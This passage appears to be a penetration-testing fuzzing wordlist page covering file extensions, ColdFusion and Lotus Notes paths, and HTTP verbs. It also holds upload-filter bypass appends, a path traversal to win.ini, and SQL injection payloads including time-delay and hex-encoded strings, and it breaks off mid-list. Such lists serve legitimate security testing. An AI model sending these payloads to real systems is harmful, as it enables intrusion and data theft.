17 March 2010 - Total Statements: 14) ===<br /> &lt;pre&gt;# Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> <br /> === Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9) ===<br /> &lt;pre&gt;#Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010) <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863) ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Compressed File Types - (Update: 16 March 2010 - Total Statements: 187) ===<br /> &lt;pre&gt;<br /> # Compressed File Types - (Update: 16 March 2010 - Total Statements: 187)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> # Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> # Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;<br /> # ll HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 